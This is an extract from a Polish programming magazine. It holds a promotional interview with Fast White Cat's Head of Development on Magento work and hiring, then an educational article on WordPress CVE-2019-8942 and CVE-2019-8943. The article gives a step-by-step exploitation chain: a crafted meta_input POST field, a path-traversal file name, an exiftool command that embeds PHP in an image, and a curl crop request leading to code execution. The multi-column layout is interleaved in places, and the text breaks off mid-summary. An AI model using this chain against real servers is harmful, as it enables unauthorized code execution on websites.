pracy – mimo więc tego, że wszyscy pracujemy na środowiskach skonteneryzowanych w dockerze (to nasz jedyny
must-have), to umożliwiamy korzystanie z trzech dowolnych systemów – Microsoft Windows, macOS oraz Linux.
Jeśli chodzi o IDE, to rekomendujemy PHPStorm, z racji naszego subiektywnego odczucia, że w tym sofcie dobrze
się programuje w językach i frameworkach, w których pracujemy. Docker jest dla nas ułatwieniem, pracujemy z nim
już około 6 lat i mamy wobec niego ściśle wypracowane podejście, co ułatwia nam prowadzenie projektów od strony
developerskiej. Dzięki dockerowi developerzy w FWC mają niewielki toolbox, a to przekłada się na szybszą i efektyw-
niejszą pracę w projektach. Oprócz niego korzystamy jeszcze z Bitbucketa, GitLaba, Jenkinsa czy Cypressa. Devopsi
kodują w Ansible, Terraform, wykorzystując podejście infrastructure as code.
Jakie napotkaliście problemy przy Waszym najtrudniejszym i najbardziej kłopotliwym w realizacji wdrożeniu?
Integracje z systemami zewnętrznymi zawsze wiążą się z największym wyzwaniem. Często wymagają indywidu-
alnego podejścia, nie dają możliwości wykorzystania natywnych rozwiązań Magento, dlatego piszemy do nich własne
połączenia i przygotowujemy moduły integracyjne. Praca przy takich integracjach jest wymagająca także pod kątem
komunikacji, ponieważ, poza naszym partnerem, mamy także dostawcę oprogramowania, więc w projekcie biorą
udział często trzy strony. To niełatwe, ale dzięki zdobytemu już doświadczeniu jesteśmy w stanie spełniać wszystkie
wymagania i efektywnie dowozić projekty naszym partnerom. A propos – kolejne niełatwe wyzwanie to także przygo-
towanie infrastruktury sklepu – z tym jednak również sobie radzimy, czego dowodem jest na przykład znana marka
odzieżowa z naszego portfolio klientów, będąca dla nas o tyle kluczowa w procesie planowania pracy, że miesięcznie
generuje sprzedaż w e-commerce nawet na poziomie 200 000 zamówień.
Jak wygląda u Was proces rekrutacji, gdzie można wysłać CV? Jak długo trwa rekrutacja i czy zawsze można
liczyć na telefon zwrotny, nawet jeśli kandydat na pracownika nie zakwalifikował się do pracy?
Początek procesu rekrutacji jest raczej typowy – rozpoczyna się kontaktem z naszej lub kandydata strony i po jego
wstępnej rozmowie z HR umawiamy to decydujące spotkanie – i tutaj zaczyna się mniej typowa część. Przede wszyst-
kim nasze rozmowy rekrutacyjne przebiegają w swobodnej, bardzo partnerskiej atmosferze – nie polegają na zarzuca-
niu kandydata mnóstwem pytań, raczej na dialogu i wymianie doświadczeń. Na takim spotkaniu, poza osobą z HR,
jest także Specjalista Magento, na co dzień będący w środku projektów FWC, co dla kandydata jest szansą na dokładne
poznanie sposobu pracy w Fast White Cat, zadanie pytań o projekty. Staramy się, by rozmowa nie była przesadnie
długa, ale zależy nam na poznaniu poziomu kompetencji kandydata oraz jego sposobu bycia, otwartości i komunika-
tywności. W zależności od rodzaju stanowiska, którego dotyczy spotkanie, prosimy o rozwiązanie zadań, problemów
programistycznych, czasami robimy live coding. Po zakończeniu rozmowy zawsze przesyłamy feedback merytoryczny,
niezależnie od naszej decyzji rekrutacyjnej. Bardzo często kandydat poznaje decyzję jeszcze w dniu rozmowy.
Wiele firm deklaruje, że wysyła feedback po rozmowach, ale koniec końców jednak tego nie robi. Czy możesz
pokazać przykład takiego feedbacku?
Wiemy, że taka jest sytuacja na rynku, tym bardziej zawsze pilnujemy, by feedback został wysłany. To ważne dla
kandydatów, dlatego nigdy o tym nie zapominamy. Nasi rozmówcy często są pozytywnie zaskoczeni, że tak szcze-
gółowo odnosimy się do przeprowadzonej rozmowy, i dziękują nam za konkretne wskazówki, które w przypadku
negatywnej decyzji są szansą na poprawę umiejętności i ponowne kandydowanie do FWC. Możemy zaprezentować
wycinek feedbacku, jaki wysłaliśmy jakiś czas temu do jednego z naszych kandydatów.
Feedback od osoby technicznej:

Dziękuję za udział w rozmowie, podczas której chciałem sprawdzić Twoje doświadczenie w Magento 2, poziom znajomo-
ści PHP/MySql oraz znajomość stacku technologicznego, którego używamy i który wspomaga nas w pracy. Skupiłem się
na obszarze backendu, co jest zgodne z Twoim dotychczasowym doświadczeniem zawodowym.

PHP/OOP/MySQL:

W temacie OOP i wzorców – jeśli miałbym oceniać pod kątem „seniorskim”, to oczekiwałbym bardziej rozbudowanych
odpowiedzi na temat wzorców, ich sposobu działania itd., plus przykłady z praktyki. Niektóre opisywałeś bardzo lako-
nicznie, przy trudniejszych pytaniach pogłębiających były kłopoty, jednak widzisz ich zastosowanie w Magento i masz
świadomość ich stosowania w codziennej pracy. Pytania dot. PHP z poziomu junior/regular na odpowiednim poziomie,
bez większych wpadek. Przy dwóch krótkich pytaniach o MySQL bezbłędnie.

Magento 2:

Potwierdziłeś odpowiedziami na zadawane pytania, że masz sporą wiedzę praktyczną i teoretyczną z Magento 2. Po-
prawnie opisałeś podejście przy upgrade wersji Magento z lekkim naprowadzeniem przy preferencjach.
Praca z DB i jej strukturą – poprawnie, zgodnie z dokumentacją i dobrymi praktykami + wiedza nt. mechanizmu.
Przy pytaniach o pracy i komunikacji backend -> frontend – poprawnie wskazałeś viewModel jako rozwiązanie reko-
mendowane, lecz nie potrafiłeś w 100% poprawnie wskazać wyższości tego rozwiązania nad Blockiem, czego oczekiwał-
bym od osoby na poziomie Senior (praktyka super, na pewno ważna, lecz dobrze jest wiedzieć, jak to wszystko działa
„pod spodem”). Przy omawianiu indekserów poszło dość słabo – ten obszar na pewno do nadrobienia/do czytania. Przy
crontach i pytaniach o grupach, podobnie.
Moje subiektywne odczucia są takie, że do poziomu Magento Senior jeszcze trochę brakuje, ale pewnie niewiele. Czas
ewentualnych przygotowań pod certyfikat (professional) tę brakującą wiedzę powinien uzupełnić. Mimo wszystko po-
ziom znajomości Magento 2 oceniam dobrze, nie miałbyś problemów w wejściem w projekty, które mamy w FWC, pora-
dziłbyś sobie z zadaniami średnio-zaawansowanymi samodzielnie. Znajomość stacku technologicznego, który występuje
w Fast White Cat, jest również wystarczająca do swobodnej pracy u nas. Jeszcze raz dzięki za rozmowę.

W każdym feedbacku znajduje się również część od osoby z HR oraz decyzja co do zatrudnienia.
Dlaczego ludzie chcą z Wami pracować? Jaki feedback dostajecie od pracowników? Czy programiści mogą
liczyć na coś więcej niż u konkurencyjnych firm?
Zdecydowanie. Mamy ciekawe, rozwojowe projekty, dobry, zaawansowany stack technologiczny, solidne podej-
ście do pisania kodu, pilnujemy, aby był na wysokim poziomie jakościowym, co potwierdzają wspomniane wcześniej
certyfikaty. W Fast White Cat stawiamy też mocno na wsparcie ze strony zespołu, dlatego koledzy z mniejszym do-
świadczeniem zawsze mogą liczyć na pomoc innych developerów. Mamy uporządkowane procesy, projekty ustanda-
ryzowane do środowisk, w których pracujemy, bo dbamy o to, by praca developerów była po prostu przyjemna. Fakt,
że jesteśmy partnerem Adobe, to dodatkowy benefit dla naszych developerów, bo mogą pracować na najnowszych
technologiach. Do tego wspieramy naszych ludzi, dbamy o ich komfort pracy, premiujemy, no i dobrze płacimy. Co do
feedbacku – i tutaj mogę przytoczyć przykładowego maila od naszego pracownika – jest ich oczywiście znacznie wię-
cej, ale pokażę tylko fragmenty dwóch z nich.

Praca w Kocie jest bardzo fajna, podoba mi się, jest bardzo in plus względem mojej poprzedniej pracy, przez te 3 miesiące
nauczyłem się sporo w Magento, na co w poprzedniej firmie mało kto zwracał uwagę. Na pewno zostanę tutaj na dłużej 😉
Ogólnie, jak bym szczegółowo miał opisać:
» DEVOPS i dockery – świetna sprawa, genialnie rozwiązane
» Własne repo composera – propsuje za to

{ MATERIAŁ INFORMACYJNY }
» Praca z ludźmi, na początku się przestraszyłem, że wszyscy, z którymi współpracuje, są po 30stce i że będzie „drę-
two”, ale okazało się zupełnie inaczej, więc też na plus 😉
» Code review i pokazywanie, co można ulepszyć, czy nawet przerobić, by działało sprawniej, oraz #codeStyleNazi też
świetna sprawa

I jeszcze jeden fragment: Praca w Kocie to dla mnie wielkie WOW. Sam początek był dla mnie zaskakujący, ponieważ
wszystko tutaj jest bardzo dobrze zorganizowane, przez całe swoje doświadczenie spotkałem się z tym, że nikt nigdy nie
wiedział, jak i w co mnie wprowadzić.
Szukacie doświadczonych ludzi czy juniorzy też mają u Was szansę?
Na rozmowy rekrutacyjne zapraszamy osoby, które mają minimum pół roku doświadczenia w pracy z Magento.
W większości nasz zespół developerów to poziom medium lub senior, mamy dwóch juniorów na stanowisku React
Developerów, ale na takim poziomie, który pozwoli im w bliskiej przyszłości wejść na poziom medium. Forsujemy
strategię knowledge in practice, dlatego mocno przywiązujemy wagę do tego, by nasi pracownicy szybko zdobywali
nową wiedzę w projektach i mogli ją na bieżąco weryfikować.
Jakie w tym momencie rekrutacje prowadzicie i jaki rozwój planujecie na przyszłość? Pytam tu zarówno
o kwestie HR, jak i projektowe.
W tym momencie zapraszamy Backend Developerów – projekty w Fast White Cat rozwijają się na tyle stabil-
nie, że właściwie możemy powiedzieć o sporym zapotrzebowaniu na to stanowisko. Staramy się systematycznie po-
większać zespół i podejmować nowe projekty. Co więcej? Oprócz projektów komercyjnych realizujemy własne, spore
przedsięwzięcie, dostaliśmy grant i będziemy pracować nad innowacyjnym projektem w ramach Narodowego Cen-
trum Badań i Rozwoju, wykorzystującym sztuczną inteligencję oraz uczenie maszynowe do dostosowania sklepu
online do profilu klienta. Z badań rynkowych wynika, że żadna firma takiego rozwiązania nie ma.

Marcin Bukowski

Head of Development w Fast White Cat, na co dzień kieruje zespołem developerów, dbając o jakość dostarczanych projek-
tów pod względem oprogramowania. Wcześniej, jako Magento Tech Lead i Backend Developer, nabierał doświadczenia
w programowaniu i wdrażaniu Magento dla dużych, znanych brandów z obszaru eCommerce.
Z ARCHIWUM CVE

Zdalne wykonanie kodu w Wordpressie


Wordpress jest najpopularniejszym oprogramowaniem do zarządzania treścią (CMS). Obec-
nie szacuje się, że ponad 40% (dane pochodzą ze strony w3techs.com) wszystkich stron
internetowych wykorzystuje właśnie ten silnik – z dostępnym publicznie kodem źródłowym,
napisanym w języku PHP. Z tego powodu Wordpress jest atrakcyjnym celem ataków. W tym
artykule przyjrzymy się dwóm podatnościom z 2019 roku – CVE-2019-8942 oraz CVE-2019-
8943, które wspólnie mogą doprowadzić do zdalnego wykonania kodu (Remote Code Execu-
tion, w skrócie RCE). Wagę tych błędów doceniono na międzynarodowej scenie, nominując je
do prestiżowej nagrody PWNIE Awards.

BŁĘDY W WORDPRESSIE NADPISANIE METADANYCH


– CVE-2019-8942
W sieci znajdziemy wiele podatności związanych z tym silnikiem,
jednakże większość z nich dotyczy różnego rodzaju wtyczek. Jakość Wordpress umożliwia umieszczanie obrazów w artykułach, a użyte
ich kodu jest bardzo różnorodna. Przykładem takiej podatności pliki są zapisywane na serwerze. W Wordpressie zarówno obrazy,
może być CVE-2021-34622, która dotyczy popularnego rozszerzenia jak i artykuły są traktowane jako „posty”. W momencie tworzenia
ProfilePress, umożliwiającego zmianę zdjęcia profilowego w Word- „postu” zostają także zapisane odpowiednie metadane odpowia-
press, a jego błędna implementacja prowadzi do zdalnego wykonania dające danemu obiektowi. Dlatego w Wordpressie znajdziemy ta-
kodu na serwerze. belę wp_postmeta, która zawiera metadane zarówno artykułów,
Najciekawszymi podatnościami są jednak te, które występują w sa- jak i obrazów. Przykład utworzonych rekordów możemy zobaczyć
mym silniku Wordpressa – z uwagi na to, że są uniwersalne. W mo- w Listingu 1. Kolumna meta_id jest liczbą porządkową kolejnych
mencie znalezienia błędu znacząca część stron jest na nie podatna, rekordów w tabeli. Kolumna post_id jest kluczem obcym do tabeli
niezależnie od konfiguracji i od tego, jakie wtyczki zostały zainsta- reprezentującej obiekty. Następnie meta_key i meta_value są odpo-
lowane. Przykładem takiej podatności może być CVE-2020-28037, wiednio nazwą metadanych i ich wartością. Ogólnie można uznać,
który poprzez niewystarczającą weryfikację umożliwiał przeinstalo- że ta tabela jest prostym słownikiem zawierającym klucz i wartość
wanie Wordpressa, a co za tym idzie – zdalne wykonanie kodu. metadanych dla danego obiektu. Wartości mogą być bardzo różne:
W tym artykule szczególnie przyjrzymy się dwóm błędom, któ- od napisów, liczb, poprzez serializowane klasy PHP. W Listingu 1
re zgłosił w roku 2019 Simon Scannell z firmy RIPS Technologies. widzimy metadane dotyczące dwóch obiektów. Pierwszy o identyfi-
Oba zostały znalezione w silniku Wordpressa i dotyczą wersji 5.0 katorze 7 reprezentuje artykuł, natomiast obiekt o identyfikatorze 8
oraz wszystkich wcześniejszych niż 4.9.9. Gdy połączymy oba błę- reprezentuje obraz.
dy, możemy zdalnie wykonać dowolny kod na serwerze. W artykule Warto dodać, że w momencie wgrywania nowych obrazów są
najpierw omówimy obie podatności osobno, a następnie pokażemy, one poprzedzone aktualną datą. Stąd też przed nazwą pliku fbsd-1.jpg
jak w połączeniu mogą doprowadzić do zdalnego wykonania kodu znajduje się prefiks 2021/10/. Struktura ta jest także odzwierciedlo-
na serwerze. na w systemie plików.
Podatności te wymagają jednak, aby użytkownik był uwierzytel-
Listing 1. Przykład metadanych zapisanych w tabeli wp_postmeta
niony w systemie. Wordpress aktualnie dzieli użytkowników na 6 ról:
» Super Admin – rola z nieograniczonym dostępem. meta_id | post_id | meta_key | meta_value
4 | 7 | _edit_last | 1
» Administrator – rola umożliwiająca nieograniczony dostęp w 5 | 7 | _edit_lock | 1633336585:1
ramach pojedynczej strony. 6 | 7 | _pingme | 1
7 | 8 | _wp_attached_file | 2021/10/fbsd-1.jpg
» Edytor – rola umożliwiająca dodawanie i edytowanie artykułów, 8 | 8 | _wp_attachment_metadata | a:5:{s:5:"width";…
w tym również innych użytkowników.
» Autor – rola umożliwiająca dodawanie i edytowanie artykułów. W Listingu 2 znajdziemy funkcje odpowiedzialne za edycję obiektów.
» Współpracownik – rola z uprawnieniami dodawania i edycji tre- Rozpoczynamy od funkcji edit_post, która pobiera wszystkie pa-
ści, ale bez możliwości ich publikacji. rametry wysłane w żądaniu POST, a następnie wykonuje sporo nie-
» Subskrybent – rola umożliwiająca tylko modyfikowanie własne- istotnych dla nas operacji i, jeżeli wszystkie się powiodą, wywołuje
go profilu. funkcję wp_update_post. Jako argument przekazuje całą zawartość
żądania POST. wp_update_post z kolei, bez modyfikacji, używa ich
Aby wykorzystać podatności opisane w tym artykule, wymagane było do wywołania wp_insert_post. Wywołana funkcja pobiera para-
posiadanie użytkownika o roli Autor. metr meta_input z żądania POST, a następnie wykorzystuje go do

<60> { 5 / 2021 < 99 > }


/ Zdalne wykonanie kodu w Wordpressie /

aktualizacji tabeli z metadanymi. Parametr ten jest całkowicie kon- Następnie pomiędzy liniami 6 a 11 w funkcji wp_crop_image
trolowany przez użytkownika. odbywa się weryfikacja, czy plik istnieje. Najpierw sprawdzane jest,
czy plik znajduje się na dysku. Jeżeli nie zostanie tam znaleziony, to
Listing 2. Fragmenty funkcji edit_post, wp_update_post wp_insert_post
w drugiej kolejności spróbuje on pobrać obraz przez HTTP. Word-
<?php press wykona żądanie typu GET do siebie samego. Jest to ciekawa
function edit_post( $post_data = null ) {
if ( empty($post_data) ) praktyka, aby pobrać pliki graficzne, które mogą być generowane dy-
$post_data = &$_POST; namicznie przez kod, na przykład przez wtyczki.
[...] Przed zapisem na dysk, jeżeli nazwa pliku docelowego nie została
if (...) {
wp_update_post( $post_data ); podana do funkcji (zmienna dst_file), zostanie ustalona jego nowa
} nazwa. W liniach 18–23 do nazwy pliku zostanie dodany prefiks
}
cropped-. Następnie zostaną utworzone wszystkie brakujące katalo-
function wp_update_post( $postarr = array(),
$wp_error = false ) { gi (linia 25). Natomiast linie 27–32 zapewnią to, by nie nadpisać już
[...] istniejącego pliku. Na końcu funkcji wp_crop_image zmodyfikowany
return wp_insert_post( $postarr, $wp_error );
} obraz zostanie zapisany na dysk.
function wp_insert_post( $postarr, $wp_error = false ) { Listing 5. Fragment funkcji wp_crop_image i get_attached_file
[...]
if ( ! empty( $postarr['meta_input'] ) ) {
1 function wp_crop_image( $src, ..., $dst_file = false ) {
foreach ( $postarr['meta_input'] as
2 $src_file = $src;
$field => $value ) {
3 if ( is_numeric( $src ) ) {
update_post_meta( $post_ID, $field, $value );
4 $src_file = get_attached_file( $src );
}
5
}
6 if ( ! file_exists( $src_file ) ) {
[...]
7 $src =
}
8 _load_image_to_edit_path( $src, 'full' );
?>
9 } else {
10 $src = $src_file;
11 }
To oznacza, że użytkownik modyfikując żądanie typu POST, może do 12 }
13
bazy danych wpisać dowolny klucz i wartość. W Listingu 3 pokazano 14 [...]
przykładowe zmodyfikowane żądanie. Zakreślony kolorem żółtym 15 // Zmiana wielkości obrazka (przypis redakcji).
16 [...]
fragment została dodany w celu utworzenia nowego wpisu o kluczu 17
hello i wartości PROGRAMISTA.jpg. W Listingu 4 możemy zobaczyć 18 if ( ! $dst_file )
19 $dst_file = str_replace(
stan bazy danych po wykonaniu tego żądania. 20 basename( $src_file ),
21 'cropped-' . basename( $src_file ),
Listing 3. Zmodyfikowane żądanie typu POST wysyłane podczas edycji 22 $src_file
artykułu 23 );
24
POST /wp-admin/post.php HTTP/1.1 25 wp_mkdir_p( dirname( $dst_file ) );
Host: 127.0.0.1:80 26
User-Agent: Mozilla/5.0 27 $dst_file = dirname( $dst_file ) .
Accept: text/html,application/xhtml+xml 28 '/' .
Cooke: ... 29 wp_unique_filename(
30 dirname( $dst_file ),
_wpnonce=67563bfcfe& 31 basename( $dst_file )
_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost& 32 );
[...]& 33
meta_input[hello]=PROGRAMISTA.jpg 34 $result = $editor->save( $dst_file );
35 if ( is_wp_error( $result ) )
Listing 4. Przykład metadanych zapisanych w tabeli wp_postmeta 36 return $result;
37
38 return $dst_file;
meta_id | post_id | meta_key | meta_value
39 }
4 | 7 | _edit_last | 1
40
5 | 7 | _edit_lock | 1633336585:1
41 function get_attached_file( $attachment_id, ... ) {
6 | 7 | _pingme | 1
42 $file = get_post_meta( $attachment_id,
25 | 7 | hello | PROGRAMISTA.jpg
43 '_wp_attached_file', true );
44
45 [...]

PATH TRAVERSAL – CVE-2019-8943 46


47
// Nieistotny kod (przypis redakcji).
[...]
48
Kolejną ciekawą funkcją jest wp_crop_image, którą zaprezentowano 49 return $file;
50 }
w Listingu 5. Jest ona wykorzystywana w momencie, gdy użytkow-
nik chce zmienić lub wyciąć jakiś fragment z obrazu. Pierwszy para-
metr (src) definiuje obraz, który chcemy zmodyfikować. Jeżeli obraz Zauważmy, że wartość klucza wp_attach_file jest traktowana jako
jest identyfikowany przez liczbę zamiast przez ścieżkę, wywoływana całkowicie zaufana. Nie odbywa się żadna weryfikacja dotycząca za-
jest funkcja get_attached_file, która pobiera z tabeli metadanych wartości kropek czy ukośników, co w efekcie pozwala na przekazanie
wartość klucza _wp_attached_file. Możemy to zaobserwować do tej funkcji dowolnego pliku. W katalogu, w którym znajduje się
w liniach 3 oraz 4 w Listingu 5. źródłowy plik, zostanie utworzona kopia pliku z prefiksem cropped-.

{ WWW.PROGRAMISTAMAG.PL } <61>
Z ARCHIWUM CVE

Przekazany plik musi być obrazem, inaczej fragment kodu, który od- W ten sposób atakujący może zapisać kontrolowany przez siebie
powiada za modyfikację pliku, zwróci błąd (ponieważ nie uda się mu plik w dowolnym miejscu na serwerze2.
zmienić rozmiaru).

Normalizacja ścieżek
ZAPISANIE OBRAZU W DOWOLNYM Jak się okazuje, normalizacja ścieżek jest tematem bardzo skomplikowanym i zależ-
MIEJSCU nym od implementacji. Przyjrzyjmy się kilku przykładom.

GNU ls/BSD ls
W trakcie analizy kodu z Listingu 5 zwróciliśmy uwagę, że istnieją Narzędzie, które z linii poleceń pozwala sprawdzić zawartość katalogu, oczekuje,
dwie metody pobrania obrazu: jedna przez sprawdzenie, czy plik ist- że wszystkie składowe ścieżki istnieją. W przypadku gdy mamy ścieżkę f1/nie­
istnieje/../f2, komenda zwraca błąd o nieprawidłowej ścieżce.
nieje na dysku, a druga – przez pobranie obrazka za pomocą proto-
PHP file_exists
kołu HTTP. Warto zauważyć też, że ścieżki w ramach systemu pli- Funkcja file_exists służy do sprawdzenia, czy plik istnieje w systemie plików,
ków i ścieżki w ramach protokołu HTTP nie są tożsame. Na przykład oczekuje, że wszystkie składowe w ścieżce muszą istnieć.

znak zapytania w ramach systemu plików jest traktowany jako zwy- GNU mkdir/BSD mkdir
W momencie wywołania narzędzia w powłoce systemowej z opcją -p i argumen-
kły znak, natomiast w przypadku protokołu HTTP jest traktowany tem /tmp/f1/../f2/../f3/../f4/f5 wszystkie brakujące katalogi zostaną
jako koniec żądania i rozpoczęcia listy argumentów. Różnica została utworzone. W tym przypadku w katalogu /tmp utworzony zostanie katalog f1, f2, f3, f4,
a w katalogu f4 znajdziemy także katalog f5.
przedstawiona w Tabeli 1.
PHP mkdir
PHP ma funkcję mkdir do tworzenia katalogów. W momencie jej wywołania zostaną
System plików HTTP
utworzone katalogi po normalizacji ścieżki. To znaczy, że jeżeli zostanie wywołany
mkdir z parametrem /tmp/f1/../f2/../f3/f4, zostanie utworzony tylko katalog
Żądanie: test.jpg?a=b f3, a w nim katalog f4.

PHP libGD
Szukany plik test.jpg?a=b test.jpg
Normalizuje ścieżki – oznacza to, że nie wszystkie elementy w ścieżce muszą ist-
Katalog wp-content/ wp-content/ nieć. W przypadku gdy mamy ścieżkę f1/nieistnieje/../f2, nieistniejący kata-
log zostanie zignorowany, a plik zostanie zapisany w katalogu f2.
Argumenty Nie dotyczy $POST["a"] == "b"
PHP Imagick
Oczekuje, że wszystkie elementy w ścieżce muszą istnieć. W przypadku gdy mamy
Żądanie: test.jpg?/../../../tmp/a.jpg ścieżkę f1/nieistnieje/../f2, biblioteka zwróci błąd, ponieważ jedna ze skła-
dowych nie istnieje.
Szukany plik a.jpg test.jpg

Katalog /tmp/ 1 wp-content/

Argumenty Nie dotyczy $POST["/../../../tmp/a.jpg"] == ""


ZDALNE WYKONANIE KODU
Tabela 1. Różnica pomiędzy systemem plików a protokołem HTTP
W pierwszym kroku musimy znaleźć jakąś metodę na przemycenie
kodu do serwera. Ze względu na to, jak działa PHP, wszystko, co nie
W funkcji wp_crop_image możemy pobrać obrazek na dwa sposoby. jest pomiędzy znacznikami <?php a ?>, interpreter języka ignoru-
W celu ustalenia nazwy pliku zostanie użyta ta sama wartość, która je, bez względu na to, czy są to dane tekstowe, czy binarne. Dlatego
została użyta do znalezienie pliku. Może nam to posłużyć do zapisa- najpopularniejszą metodą na ukrycie kodu są metadane obrazów
nia pliku w dowolne miejsce na serwerze. Dla uproszczenia załóżmy, zwane Exif (Exchangeable Image File Format). Metadane te zawierają
że ścieżki są zawsze normalizowane przed ich użyciem w funkcjach na przykład informacje: o autorze, ustawieniach aparatu, lokalizacji
PHP. Zawiłości z normalizacją zostały wyjaśnione w ramce „Norma- GPS, gdzie zdjęcie było robione. W celu modyfikacji tych danych
lizacja ścieżek”. Jeżeli do funkcji trafi żądanie o edycję pliku o nazwie możemy użyć programu exiftool(1), którego przykład wykorzystania
http.jpg?/../../../tmp/fs.jpg, zostaną wykonane poniższe czynności: zaprezentowano w Listingu 6.
1. Sprawdzenie systemu plików, czy plik istnieje. Plik fs.jpg w ka-
Listing 6. Dodawanie metadanych z kodem PHP do obrazu
talogu /tmp/ nie istnieje, więc zostanie wybrana metoda HTTP.
2. W ramach protokołu HTTP zostanie wysłane zapytanie o plik $ exiftool -Comment="<?php phpinfo();?>" fbsd.jpg

http.jpg. Fragment /../../../tmp/fs.jpg zostanie potrakto-


wany jako argument i w tym przypadku zostanie zignorowany. Wordpress korzysta z dwóch bibliotek do przetwarzania obrazu: GD
3. Plik o nazwie http.jpg zostanie pobrany i jego rozmiar zostanie i Imagick. W pierwszej kolejności z biblioteki Imagick, a jeżeli nie jest do-
zmieniony. stępna, to korzysta z GD. Każda z bibliotek zachowuje się nieco inaczej.
4. Zostanie wybrana nowa nazwa pliku do zapisaniu z przedrost- W przypadku biblioteki GD metadane z przetwarzanego obrazu
kiem cropped – http.jpg?/../../../tmp/cropped-fs.jpg. są automatycznie usuwane. Dlatego należy zastosować inną metodę
5. Zostaną utworzone brakujące katalogi. W tym przypadku ukrycia kodu, na przykład w pixelach obrazu. Natomiast ścieżka,
wszystkie katalogi istnieją, więc ten krok zostanie pominięty. w której plik ma zostać zapisany, jest normalizowana. Oznacza to,
6. PHP zapisze plik cropped-fs.jpg w katalogu /tmp/. że nie wszystkie podane katalogi muszą istnieć. Z kolei biblioteka
Imagick nie normalizuje katalogów, więc wszystkie składowe muszą
1. System plików spróbuje wejść do katalogu o nazwie test.jpg?, następnie przejdzie 3 katalogi
wyżej. Ostatecznie spróbuje wejść do katalogu tmp/. Jeżeli podamy wystarczającą ilość znaków ../, 2. Jest to znaczne uproszczenie. Można zapisać plik w dowolnym katalogu, do którego proces Word-
dojdziemy do najwyższego katalogu, a następnie do katalogu tmp. pressa ma prawo zapisu.

<62> { 5 / 2021 < 99 > }


/ Zdalne wykonanie kodu w Wordpressie /

istnieć. W przeciwieństwie do biblioteki GD Imagick nie usuwa me- 5. Powtarzamy kroki 3 i 4. Tym razem jednak już ustawiając ścież-
tadanych obrazu w trakcie jego przetwarzania. kę zapisu do katalogu z motywem. Na przykład:
Drugim krokiem jest wykonanie kodu. Jedną z metod jest zapisa-
meta_input[_wp_attached_file]=2021/10/evil.png?/../../../../
nie pliku z rozszerzeniem .php. W przypadku tych błędów nie mamy themes/twentyseventeen/file
możliwości kontrolowania rozszerzenia pliku – musi to być rozsze-
rzenie wykorzystywane przez obrazy. Innym sposobem jest przeka- Domyślnym motywem zainstalowanym na tym Wordpressie
zanie dowolnego pliku do funkcji, takich jak require_once() lub jest twentyseventeen, więc do niego chcemy wgrać nowy plik
include(), które interpretują kod niezależnie od rozszerzenia. o nazwie file. Ten plik, zgodnie z naszą analizą, ostatecznie bę-
Okazuje się, że Wordpress pozwala na dodatkową konfigurację dzie nazywał się cropped-file.jpg. Następnie ponownie wykonu-
wyglądu artykułu. Służy do tego specjalna metadana z kluczem _wp_ jemy żądanie przycięcia obrazka, co spowoduje utworzenie pli-
page_template. Jako jej wartość można podać dowolny plik znajdu- ku w żądanym katalogu.
jący się w katalogu z motywem, który zostanie wykonany za pomocą 6. Kolejnym etapem jest utworzenie dowolnego artykułu. W mo-
funkcji include. mencie zapisu znów przechwytujemy ruch i dopisujemy jeszcze
jedną metadaną:

SCENARIUSZ PEŁNEJ EXPLOITACJI meta_input[_wp_page_template]="cropped-file.jpg".

Aby wykonać zdalny kod na serwerze, korzystając z tych dwóch po- Jest to analogiczne z przedstawionymi już modyfikacjami w Li-
datności, należy: stingu 7. Jedyną różnicą jest to, że ustawiamy inną zmienną.
1. Albo wygenerować plik evil.jpg z kodem PHP – jak pokazano Zmienna ta spowoduje, że w momencie otworzenia artykułu
w Listingu 6 – albo alternatywną metodą dla biblioteki GD. plik cropped-file.jpg w katalogu z motywem zostanie automa-
2. Wejść w zakładkę umożliwiającą dodanie nowych mediów i wgra- tycznie załadowany i potraktowany jako kod.
nie pliku evil.jpg. 7. Nie pozostaje nic innego jak otworzenie nowo napisanego arty-
3. Przejść do szczegółowej edycji obrazu. W momencie aktualiza- kułu. Na Rysunku 1 możemy zobaczyć rezultat zdalnego wyko-
cji szczegółów obrazu przechwytujemy ruch sieciowy (na przy- nania kodu na serwerze, w przypadku pliku graficznego zawie-
kład narzędziem Burp). Aktualizacja ta powinna wykonać żąda- rającego funkcję phpinfo().
nie typu POST do API post.php. Na końcu dodajemy wartość:
Listing 7. Wywołania żądania przycięcia obrazu w Wordpressie
za pomocą curl(1)
meta_input[_wp_attached_file]=2021/10/evil.jpg?/test
$ curl -X POST \
Podobna modyfikacja została pokazana w Listingu 3. Ten krok -d "action=crop-image" \
jest wykonany po to, by Wordpress utworzył katalog o nazwie -d "_ajax_nonce=71d139afff" \
-d "id=5" \
evil.jpg? i biblioteka Imagick nie miała problemu z brakującymi -d "cropDetails[x1]=0" \
elementami ścieżki. -d "cropDetails[y1]=0" \
-d "cropDetails[width]=20" \
4. Następnym krokiem jest wykonanie operacji przycięcia obraz- -d "cropDetails[height]=10" \
-d "cropDetails[dst_width]=20" \
ka. Najprościej zrobić to, wykorzystując narzędzie curl(1), tak
-d "cropDetails[dst_height]=10" \
jak pokazano w Listingu 7. Wartość _ajax_nounce i wartości --cookie $COOKIE \
http://127.0.0.1/wp-admin/admin-ajax.php
ciasteczek można pobrać z Burpa lub z narzędzi developerskich
w przeglądarce. Pole ID odpowiada identyfikatorowi wgranego
obrazka, można go odczytać na przykład z URLa podczas edycji.

/* REKLAMA */

{ WWW.PROGRAMISTAMAG.PL } <63>
Z ARCHIWUM CVE

Rysunek 1. Zdalne wykonanie kodu na serwerze

NAPRAWA BŁĘDU dyfikacji obrazów nie został zmieniony. Ścieżka podana w kluczu
_wp_attached_file jest wciąż całkowicie zaufana. Nic nie zmieni-
Szacuje się, że podatności te – zanim je odkryto – istniały w Wordpressie ło się również w kwestii metadanej _wp_page_template. Jeżeli ata-
6 lat. Naprawa błędu z metadanymi zajęła programistom Wordpressa czte- kujący znajdzie możliwość modyfikacji tabeli wp_postmeta, czy to
ry miesiące od oryginalnego zgłoszenia. Pomimo zgłoszenia błędu została w samym silniku Wordpressa, czy przez zainstalowaną wtyczkę, bę-
wydana nowa duża wersja 5.0, która wciąż zawierała tę podatność. dzie mógł ponownie skorzystać z podatności CVE-2019-8943.
Uproszczoną poprawkę do pierwszego błędu zaprezentowano
w Listingu 8. Funkcja ta usuwa z żądania POST wszystkie niepożąda-
PODSUMOWANIE
ne klucze, w tym meta_input, który był wykorzystany w opisanych
podatnościach. Wordpress to bez wątpienia jeden z najpopularniejszych programów
do zarządzania treścią w Internecie, przez co jest bardzo częstym ce-
Listing 8. Funkcja filtrująca parametry żądania POST
lem ataków. Czasami, aby wykonać kod na serwerze, potrzeba więcej
